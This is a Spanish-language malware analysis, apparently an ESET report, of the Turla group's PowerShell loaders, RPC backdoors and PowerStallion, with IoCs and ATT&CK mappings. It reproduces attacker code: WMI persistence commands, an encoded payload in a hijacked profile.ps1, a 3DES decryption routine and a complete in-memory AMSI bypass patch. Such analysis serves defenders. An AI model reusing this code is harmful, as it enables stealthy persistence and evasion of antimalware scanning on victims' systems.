Turla, también conocido como Snake, es un grupo dedicado al espionaje reconocido por la complejidad de su malware. Para generar confusión, sus operadores recientemente comenzaron a utilizar scripts en PowerShell que ofrecen la posibilidad de cargar y ejecutar, en memoria, ejecutables maliciosos y librerías. Esto les permite evadir la detección que podría activarse cuando un ejecutable malicioso es droppeado en el disco.

Se cree que Turla ha estado operando desde al menos 2008, cuando satisfactoriamente logró infiltrarse en equipos de las Fuerzas Armadas de los Estados Unidos. Más recientemente, estuvo involucrado en grandes ataques contra las oficinas del Ministerio de Asuntos Exteriores de Alemania y el ejército francés.

Esta no es la primera vez que Turla utiliza loaders en PowerShell en memoria para incrementar sus chances de evadir productos de seguridad. En 2018, Kaspersky publicó un reporte en el que analizó un loader en PowerShell de Turla que estaba basado en el proyecto de código abierto Posh-SecMod. Sin embargo, presentaba algunos problemas y muchas veces terminaba congelándose.

Luego de unos meses, Turla mejoró estos scripts y ahora los está utilizando para cargar un amplio rango de malware personalizado de su tradicional arsenal.

El tipo de víctimas es un blanco común para Turla. Hemos identificado varias entidades diplomáticas en Europa del Este que fueron comprometidas utilizando este script. Sin embargo, es probable que los mismos scripts estén siendo utilizados de manera global contra muchos blancos de ataque tradicionales de Turla en Europa Occidental y el Medio Oriente. Así, este artículo busca ayudar a los equipos de seguridad a contrarrestar estos scripts en PowerShell. También presentaremos varios payloads, incluyendo un backdoor basado en RCP y un backdoor que implementa el uso de OneDrive como su servidor de Comando y Control.

Loader de PowerShell 

El loader de PowerShell consta de tres principales pasos: persistencia, descifrado y carga en memoria del ejecutable embebido o la librería.

Persistencia

Los scripts de PowerShell no son simples droppers, sino que persisten en el sistema, ya que solo se cargan en memoria de forma regular los ejecutables embebidos. Hemos visto a los operadores de Turla utilizar dos métodos de persistencia:

  • A través de un evento de suscripción a Windows Management Instrumentation (WMI)
  • Alteración del perfil de PowerShell (archivo profile.ps1).

Windows Management Instrumentation

En el primer caso, los atacantes crean dos filtros de eventos WMI y dos eventos consumer WMI. Los consumers son simplemente líneas de comando que lanzan comandos PowerShell codificados en base64 que cargan un amplio script PowerShell almacenado en el registro de Windows. La Figura 1 muestra cómo se establece la persistencia.

Get-WmiObject CommandLineEventConsumer -Namespace root\subscription -filter "name='Syslog Consumer'" | Remove-WmiObject; 
$NLP35gh = Set-WmiInstance -Namespace "root\subscription" -Class 'CommandLineEventConsumer' -Arguments @{name='Syslog Consumer';CommandLineTemplate="$($Env:SystemRoot)\System32\WindowsPowerShell\v1.0\powershell.exe -enc $HL39fjh";RunInteractively='false'};


Get-WmiObject __eventFilter -namespace root\subscription -filter "name='Log Adapter Filter'"| Remove-WmiObject; 
Get-WmiObject __FilterToConsumerBinding -Namespace root\subscription | Where-Object {$_.filter -match 'Log Adapter'} | Remove-WmiObject;
$IT825cd = "SELECT * FROM __instanceModificationEvent WHERE TargetInstance ISA 'Win32_LocalTime' AND TargetInstance.Hour=15 AND TargetInstance.Minute=30 AND TargetInstance.Second=40";
$VQI79dcf = Set-WmiInstance -Class __EventFilter -Namespace root\subscription -Arguments @{name='Log Adapter Filter';EventNameSpace='root\CimV2';QueryLanguage='WQL';Query=$IT825cd};
Set-WmiInstance -Namespace root\subscription -Class __FilterToConsumerBinding -Arguments @{Filter=$VQI79dcf;Consumer=$NLP35gh};
 
Get-WmiObject __eventFilter -namespace root\subscription -filter "name='AD Bridge Filter'"| Remove-WmiObject; 
Get-WmiObject __FilterToConsumerBinding -Namespace root\subscription | Where-Object {$_.filter -match 'AD Bridge'} | Remove-WmiObject;
$IT825cd = "SELECT * FROM __instanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System' AND TargetInstance.SystemUpTime >= 300 AND TargetInstance.SystemUpTime < 400";
$VQI79dcf = Set-WmiInstance -Class __EventFilter -Namespace root\subscription -Arguments @{name='AD Bridge Filter';EventNameSpace='root\CimV2';QueryLanguage='WQL';Query=$IT825cd};
Set-WmiInstance -Namespace root\subscription -Class __FilterToConsumerBinding -Arguments @{Filter=$VQI79dcf;Consumer=$NLP35gh};

Figura 1 – Persistencia mediante el uso de WMI

Estos eventos se ejecutarán respectivamente a las 15:30:40 y cuando el tiempo de actividad del sistema esté entre los 300 y 400 segundos. La variable $HL39fjh contiene el comando PowerShell codificado en base64 que se puede apreciar en la Figura 2. Lee la llave del Registro de Windows donde es almacenado el payload cifrado y contiene la contraseña y el salto necesario para descifrar el payload.

[System.Text.Encoding]::ASCII.GetString([Convert]::FromBase64String("<base64-encoded password and salt">)) | iex ;[Text.Encoding]::ASCII.GetString([Convert]::FromBase64String((Get-ItemProperty '$ZM172da').'$WY79ad')) | iex

Figura 2. Comando PowerShell consumer WMI

Finalmente, el script almacena en payload cifrado en el registro de Windows. Nótese que los atacantes parecen utilizar una ubicación del registro diferente para cada organización. Igualmente, no resulta un indicador útil para detectar intrusiones similares.

Profile.ps1

En este último caso, los atacantes alteran el perfil de PowerShell. De acuerdo a la documentación de Microsoft:

Un perfil de PowerShell es un script que se ejecuta cuando se inicia PowerShell. Puedes utilizar el perfil como un script de inicio de sesión para personalizar el entorno. Puedes agregar comandos, alias, funciones, variables, complementos, módulos y unidades PowerShell.

La Figura 3 muestra un perfil de PowerShell modificado por Turla.

try
{
    $SystemProc = (Get-WmiObject 'Win32_Process' | ?{$_.ProcessId -eq $PID} |  % {Invoke-WmiMethod -InputObject $_ -Name 'GetOwner'} | ?{(Get-WmiObject -Class Win32_Account -Filter "name='$($_.User)'").SID -eq "S-1-5-18"})
    if ("$SystemProc" -ne "")
    {
      $([Convert]::ToBase64String($([Text.Encoding]::ASCII.GetBytes("<m>$([DateTime]::Now.ToString('G')): STARTED </m>") | %{ $_ -bxor 0xAA })) + "|") | Out-File 'C:\Users\Public\Downloads\thumbs.ini' -Append;
      [Text.Encoding]::Unicode.GetString([Convert]::FromBase64String("IABbAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBBAFMAQwBJAEkALgBHAGUAdABTAHQAcgBpAG4AZwAoAFsAQwBvAG4AdgBlAHIAdABdADoAOgBGAHIAbwBtAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAIgBKAEYAZABJAFIAegBRADQATQBXAFIAawBJAEQAMABuAFEAMQBsAEQAVgBEAE0ANQBNAHoAUQB3AFoAbQBaAG8ASgB6AHMAZwBKAEUAWgBaAE4AVABKAGoAWgBUADAAbgBUAGsATgBEAFUAagBrADUATgB6AEIAbwBaAG0AaABqAEoAegBzAGcASQBBAD0APQAiACkAKQAgAHwAIABpAGUAeAAgADsAWwBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AEEAUwBDAEkASQAuAEcAZQB0AFMAdAByAGkAbgBnACgAWwBDAG8AbgB2AGUAcgB0AF0AOgA6AEYAcgBvAG0AQgBhAHMAZQA2ADQAUwB0AHIAaQBuAGcAKAAoAEcAZQB0AC0ASQB0AGUAbQBQAHIAbwBwAGUAcgB0AHkAIAAnAEgASwBMAE0AOgBcAFMATwBGAFQAVwBBAFIARQBcAE0AaQBjAHIAbwBzAG8AZgB0AFwASQBuAHQAZQByAG4AZQB0ACAARQB4AHAAbABvAHIAZQByAFwAQQBjAHQAaQB2AGUAWAAgAEMAbwBtAHAAYQB0AGkAYgBpAGwAaQB0AHkAXAB7ADIAMgA2AGUAZAA1ADMAMwAtAGYAMQBiADAALQA0ADgAMQBkAC0AYQBkADIANgAtADAAYQBlADcAOABiAGMAZQA4ADEAZAA3AH0AJwApAC4AJwAoAEQAZQBmAGEAdQBsAHQAKQAnACkAKQAgAHwAIABpAGUAeAA=")) | iex | Out-Null;
      kill $PID;
    }
}
catch{$([Convert]::ToBase64String($([Text.Encoding]::ASCII.GetBytes("<m>$([DateTime]::Now.ToString('G')): $_ </m>") | %{ $_ -bxor 0xAA })) + "|") | Out-File 'C:\Users\Public\Downloads\thumbs.ini' -Append}

Figura 3. Archivo profile.ps1 secuestrado

El comando PowerShell cifrado en base64 es muy similar al utilizado en los WMI consumers.

Descifrado

El payload almacenado en el registro de Windows es otro script de PowerShell. Es generado utilizando el script de código abierto Out-EncryptedScript.ps1 de la plataforma de pruebas de penetración PowerSploit. Adicionalmente, los nombres de las variables son aleatorias para ofuscar el script, cómo se puede apreciar en la Figura 4.

$GSP540cd = "<base64 encoded + encrypted payload>";
$RS99ggf = $XZ228hha.GetBytes("PINGQXOMQFTZGDZX");
$STD33abh = [Convert]::FromBase64String($GSP540cd);
$SB49gje = New-Object System.Security.Cryptography.PasswordDeriveBytes($IY51aab, $XZ228hha.GetBytes($CBI61aeb), "SHA1", 2);
[Byte[]]$XYW18ja = $SB49gje.GetBytes(16);
$EN594ca = New-Object System.Security.Cryptography.TripleDESCryptoServiceProvider;
$EN594ca.Mode = [System.Security.Cryptography.CipherMode]::CBC;
[Byte[]]$ID796ea = New-Object Byte[]($STD33abh.Length);
$ZQD772bf = $EN594ca.CreateDecryptor($XYW18ja, $RS99ggf);
$DCR12ffg = New-Object System.IO.MemoryStream($STD33abh, $True);
$WG731ff = New-Object System.Security.Cryptography.CryptoStream($DCR12ffg, $ZQD772bf, [System.Security.Cryptography.CryptoStreamMode]::Read);
$XBD387bb = $WG731ff.Read($ID796ea, 0, $ID796ea.Length);
$OQ09hd = [YR300hf]::IWM01jdg($ID796ea);
$DCR12ffg.Close();
$WG731ff.Close();
$EN594ca.Clear();
return $XZ228hha.GetString($OQ09hd,0,$OQ09hd.Length);

Figura 4. Rutina de descifrado

El payload es descifrado utilizando el algoritmo de 3DES. El vector de inicialización, en este ejemplo PINGQXOMQFTZGDZX, es diferente para cada muestra. La llave y el salto también son diferentes para cada script y no son almacenados en el script, salvo en el filtro WMI o en el archivo profile.ps1.

Loader PE

El payload descifrado en la etapa previa es un loader PowerShell reflectivo. Está basado en el script Invoke-ReflectivePEInjection.ps1 del mismo framework PowerSploit. El ejecutable está hardcodeado en el script y es cargado directamente en la memoria de un proceso que esté corriendo en el sistema elegido de forma aleatoria.

En algunas muestras, los atacantes especifican una lista de ejecutables en los que el binario no debería ser inyectado, como se puede apreciar en la Figura 5.

$IgnoreNames = @("smss.exe","csrss.exe","wininit.exe","winlogon.exe","lsass.exe","lsm.exe","svchost.exe","avp.exe","avpsus.exe","klnagent.exe","vapm.exe","spoolsv.exe");

Figura 5. Ejemplo de lista de procesos excluidos

Es interesante notar que los nombres avp.exe, avpsus.exe, klnagent.exe y vapm.exe refieren a ejecutables de Kaspersky Labs.

Bypass AMSI

En algunas muestras lanzadas a partir de marzo de 2019, los desarrolladores de Turla modificaron sus scripts de PowerShell con el objetivo de evadir la Interfaz de escaneo Antimalware (AMSI). Esta es una interfaz que permite que cualquier aplicación de Windows se integre con el producto antimalware instalado. Es particularmente útil para PowerShell y macros.

No encontraron un nuevo mecanismo evasor pero reutilizaron una técnica presentada en Black Hat Asia 2018 en la charla The Rise and Fall of AMSI. Consiste en el parche en memoria del inicio de la función AmsiScanBuffer en la librería amsi.dll.

El script PowerShell carga un ejecutable .NET para recuperar la dirección de AmsiScanBuffer. Luego, llama VirtualProtect para permitir escribir en la dirección recuperada.

Finalmente, el parcheado es realizado directamente en el script de PowerShell, tal como se aprecia en la Figura 6. Modifica el principio de AmsiScanBuffer para siempre retornar a 1 (AMSI_RESULT_NOT_DETECTED). Así, el producto antimalware no recibirá el buffer, el cual previene cualquier escaneo.

$ptr = [Win32]::FindAmsiFun();
if($ptr -eq 0)
{
	Write-Host "protection not found"
}
else
{
	if([IntPtr]::size -eq 4)
	{
		Write-Host "x32 protection detected"
		$buf = New-Object Byte[] 7
		$buf[0] = 0x66; $buf[1] = 0xb8; $buf[2] = 0x01; $buf[3] = 0x00; $buf[4] = 0xc2; $buf[5] = 0x18; $buf[6] = 0x00; #mov ax, 1 ;ret 0x18;
		$c = [System.Runtime.InteropServices.Marshal]::Copy($buf, 0, $ptr, 7)
	}
	else
	{
		Write-Host "x64 protection detected"
		$buf = New-Object Byte[] 6
		$buf[0] = 0xb8; $buf[1] = 0x01; $buf[2] = 0x00; $buf[3] = 0x00; $buf[4] = 0x00; $buf[5] = 0xc3;  #mov eax, 1 ;ret;
		$c = [System.Runtime.InteropServices.Marshal]::Copy($buf, 0, $ptr, 6)
	}

}

Figura 6. Parcheado de la función AmsiScanBuffer

Payloads

El script de PowerShell que hemos presentado son componentes genéricos utilizados para cargar varios payloads, tales como un backdoor RCP y un backdoor PowrShell.

Backdoor RPC

Turla ha desarrollado todo un conjunto de backdoors que se apoyan en el protocolo RCP. Estos backdoors son utilizados para llevar adelante movimientos laterales y tomar el control de otras máquinas de una red local sin necesidad de apoyarse en un servidor C&C externo.

Las funcionalidades implementadas son bastante básicas: subida de archivos, descarga de archivos y comandos de ejecución a través de cmd.exe o PowerShell. Sin embargo, el malware también soporta la posibilidad de agregar plugins.

Este backdoor RCP está dividido en dos componentes: un servidor y un cliente. Un operador utilizará el componente cliente para ejecutar comandos en otra máquina en la que el componente servidor exista, tal como lo resumimos en la Figura 7.

Figura 7. Uso del backdoor RCP

Por ejemplo, la muestra identificada por el siguiente hash SHA-1 EC54EF8D79BF30B63C5249AF7A8A3C652595B923 es una versión cliente. Este componente abre el denominado pipe \\pipe\\atctl con la secuencia de protocolo siendo ncacn_np a través de la función RpcStringBindingComposeW. La muestra podrá luego enviar comandos con solo llamar a la función NdrClientCall2. El procedimiento exportado HandlerW, responsable de parsear los argumentos, muestra que también es posible intentar hacerse pasar por token anónimo o intentar robar otros token de proceso tan solo para la ejecución de un comando.

Su contraparte del servidor realiza la tarea pesada e implementa los diferentes comandos. Primero revisa si el valor de la llave de registro HKLM\SYSTEM\CurrentControlSet\services\LanmanServer\Parameters\NullSessionPipes contiene “atctl”. En caso de que sí contenga, el servidor configura el descriptor de seguridad en el objeto pipe hacia "S:(ML;;NW;;;S-1-16-0)" a través de la función SetSecurityInfo. Esto hará que el pipe esté disponible para cualquiera (nivel de integridad no confiable/anónima).

La siguiente imagen muestra la correspondiente MIDL stub descriptor y la misma sintaxis similar e interfaz ID.

Figura 8. MIDL del cliente backdoor RPC a la izquierda, servidores a la derecha

Como mencionamos anteriormente, este backdoor también soporta la carga de plugins. El servidor crea un hilo que busca archivos que coincidan con el siguiente patrón lPH*.dll. Si tal archivo existe, es cargado y su función exportar ModuleStart es llamada. Entre los varios plugins que hemos localizado hasta el momento, uno es capaz de robar archivos recientes y archivos de memorias USB.

Muchas variantes de este backdoor RCP son utilizadas de manera activa. Entre ellas, hemos visto proxies locales (utilizando upnprpc como el endpoint y ncalrpc como la secuencia de protocolo) y versiones nuevas embebiendo PowerShellRunner para ejecutar scripts de manera directa sin utilizar powershell.exe.

Falso servidor RPC

Durante nuestra investigación, también descubrimos un ejecutable portable con la ruta pdb embebida: C:\Users\Devel\source\repos\RPCSpoofer\x64\Release_Win2016_10\RPCSpoofServerInstall.pdb (SHA-1: 9D1C563E5228B2572F5CA14F0EC33CA0DEDA3D57).

El principal propósito de esta utilidad es recuperar la configuración de un proceso RPC que ha registrado una interfaz. Con el fin de encontrar tal clase de proceso, repite a través de la tabla TCP (a través de la función GetTcpTable2)hasta que encuentre el PID del proceso que abrió un puerto específico, o recupera el PID del proceso que abrió uno específico llamado pipe. Una vez que este PID es descubierto, esta utilidad lee la memoria del proceso remoto y trata de recuperar la interfaz RPC registrada. El código para esto, que puede ver en la Figura 9, parece haber sido tomado desde este repositorio de GitHub.

Figura 9. Porción del código buscando la sección .data de rpcrt4.dll en un proceso remoto (captura de pantalla de Hex-Rays)

Al principio no estábamos seguros de cómo la información recuperada había sido utilizada, hasta que otra muestra, (SHA-1: B948E25D061039D64115CFDE74D2FF4372E83765) nos ayudó a comprender. Como vimos en la Figura 10, esta muestra recupera la interfaz RPC, reestablece la bandera a RPC_IF_ALLOW_SECURE_ONLY, y parchea la “dispatch table” en memoria utilizando la función WriteProcessMemory. Estas operaciones permitirán a la muestra añadir sus funciones RPC a una ya existente interfaz RPC. Creemos que es más cauteloso reutilizar una interfaz RPC existente que crear una personalizada.

Figura 10. Porción de código recuperando la “dispatch table” RPC del actual proceso (capturas de pantalla de Hex-Rays)

PowerStallion

PowerStallion es un backdoor en PowerShell de liviano peso que utiliza como servidor C&C a Microsoft OneDrive; un servicio de almacenamiento en la nube. Las credenciales están hardcodeadas al inicio del script, tal como se puede observar en la Figura 11.

Figura 11. Credenciales de OneDrive en el script de PowerStallion

Es interesante notar que los operadores de Turla utilizaron nuevamente el proveedor de correo gratuito GMX, al igual que lo hicieron para el Backdoor de Outlook y en LightNeuron. También utilizaron para la dirección de correo el nombre de un empleado real perteneciente a una organización que fue blanco de ataque.

Luego utiliza el comando net use para conectar con la unidad de la red. Luego verifica, en un loop, como se puede apreciar en la Figura 12, si un comando está disponible. Este backdoor solo puede ejecutar scripts PowerShell adicionales. Escribe los resultados del comando en otra subcarpeta en OneDrive y los cifra con la llave XOR 0xAA.

Figura 12. Loop principal del backdoor PowerStallion

Otro artefacto interesante es que el script altera la modificación, acceso y tiempos (MAC) de creación del archivo log local para coincidir con los tiempos de un archivo legítimo – en este ejemplo desktop.ini, como se puede apreciar en la Figura 13.

Figura 13. Modificación de tiempos MAC del archivo log local

Creemos que este backdoor es una herramienta para recuperar acceso en caso de que los principales backdoors de Turla, tales como Carbon o Gazer, sean limpiados y que los operadores no puedan acceder a las computadoras comprometidas:

  • Monitoreando logs antimalware
  • Monitoreando la lista de procesos de Windows
  • Instalando versión 4 de ComRAT, uno de los backdoors de segunda fase de Turla

Conclusión

En un artículo publicado en 2018 predijimos que Turla usaría herramientas más y más genéricas. Esta nueva investigación confirma nuestro pronóstico y muestra que el grupo Turla no duda en utilizar frameworks de pentesting y código abierto para llevar adelante las instrusiones.

Sin embargo, esto no impide que se atribuyan tales ataques a Turla. Los atacantes tienden a configurar o modificar estas herramientas de código abierto de la manera que mejor se adapte a sus necesidades. Así, es posible separar en diferentes categorías las actividades.

Finalmente, el uso de herramientas de código abierto no significa que Turla dejó de utilizar sus herramientas personalizadas. Los payloads entregados por el script de PowerShell, el backdoor RCP y PowerStallion, están bastante personalizados. Nuestro reciente análisis de LightNeuron de Turla es una prueba más de que este grupo aún sigue desarrollando malware complejo y personalizado.

Continuaremos monitoreando las nuevas actividades de Turla y seguiremos publicando los hallazgos. Por cualquier consulta, contáctenos a través de threatintel@eset.com. Los Indicadores de Compromiso también pueden encontrarse en GitHub.

Indicadores de Compromiso (IoCs)

Hashes

SHA-1 hash Description ESET detection name
50C0BF9479EFC93FA9CF1AA99BDCA923273B71A1 PowerShell loader with encrypted payload PowerShell/Turla.T
EC54EF8D79BF30B63C5249AF7A8A3C652595B923 RPC backdoor (client) Win64/Turla.BQ
9CDF6D5878FC3AECF10761FD72371A2877F270D0 RPC backdoor (server) Win64/Turla.BQ
D3DF3F32716042404798E3E9D691ACED2F78BDD5 File exfiltration RPC plugin Win32/Turla.BZ
9D1C563E5228B2572F5CA14F0EC33CA0DEDA3D57 RPCSpoofServerInstaller Win64/Turla.BS
B948E25D061039D64115CFDE74D2FF4372E83765 RPC interface patcher Win64/Turla.BR

Nombres de archivos

  • RPC components
    • %PUBLIC%\iCore.dat (log file, one-byte XOR 0x55)
    • \\pipe\\atctl (named pipe)
  • PowerStallion
    • msctx.ps1
    • C:\Users\Public\Documents\desktop.db

Llaves de Registro

  • RPC components
    • HKLM\SYSTEM\CurrentControlSet\services\LanmanServer\Parameters\NullSessionPipes contains atctl

Técnicas de MITRE ATT&CK

Tactic ID Name Description
Execution T1086 PowerShell The loaders are written in PowerShell.
Some RPC components can execute PowerShell commands.
Persistence T1084 Windows Management Instrumentation Event Subscription The PowerShell loaders use WMI for persistence.
Defense Evasion T1027 Obfuscated Files or Information The RPC backdoor and PowerStallion encrypt the log file.
T1140 Deobfuscate/Decode Files or Information The PowerShell loaders decrypt the embedded payload.
T1055 Process Injection The PowerShell loaders inject the payload into a remote process.
T1099 Timestomp PowerStallion modifies the timestamps of its log file.
Discovery T1083 File and Directory Discovery The RPC plugin gathers file and directory information.
T1120 Peripheral Device Discovery The RPC plugin monitors USB drives.
T1012 Query Registry The server component of the RPC backdoor queries the registry for NullSessionPipes.
T1057 Process Discovery PowerStallion sent the list of running processes.
Collection T1005 Data from Local System The RPC plugin collects recent files from the local file system.
T1025 Data from Removable Media The RPC plugin collects files from USB drives.
Command and Control T1071 Standard Application Layer Protocol The RPC backdoor uses RPC and PowerStallion uses OneDrive via SMB.
Exfiltration T1041 Exfiltration Over Command and Control Channel PowerStallion exfiltrates information through the C&C channel.